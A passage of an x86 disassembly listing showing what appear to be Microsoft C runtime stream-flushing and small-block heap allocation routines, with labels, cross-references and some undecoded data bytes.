short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5A0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5A0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call near ptr 2670D31h nop cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 26C0550h test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 2870000h nop test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx call near ptr 2660000h nop cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 462217E8h dd 0A3C08502h, 4DC904h, 93E83674h, 83FFFFFEh, 8A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh dd 2452F45h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h dd 3721BFE8h, 0C0859002h, 4DC8FCA3h, 0C3017500h, 4244C8Bh dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h dd 0D8900h, 0C7004DC9h, 4DC8E805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC8F8 lea ecx, [eax+eax*4] mov eax, dword_4DC8FC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC8F4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC8EC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC8EC mov eax, dword_4DC8F4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC8F4 mov ecx, dword_4DC8EC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC8F4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC8F4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC8F4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC8F4 push dword ptr [eax+10h] push 0 push dword_4DC904 nop call near ptr 2780000h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC8F4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC8F8 cmp eax, dword_4DC8F4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC8FC mov dword_4DC8F0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC8EC, edi mov dword_4DC8F4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC8F0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC8F0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC8F4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC8EC jnz short loc_41E4C7 and dword_4DC8F4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC8F8 mov ecx, dword_4DC8E8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC8FC push edi push dword_4DC904 nop call near ptr 2820000h cmp eax, edi jz short loc_41E567 add dword_4DC8E8, 10h mov dword_4DC8FC, eax mov eax, dword_4DC8F8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC8FC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC904 lea esi, [ecx+eax*4] nop call near ptr 2790000h cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi nop call near ptr 2880761h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC904 call near ptr 2780000h nop loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC8F8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 2880761h test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, 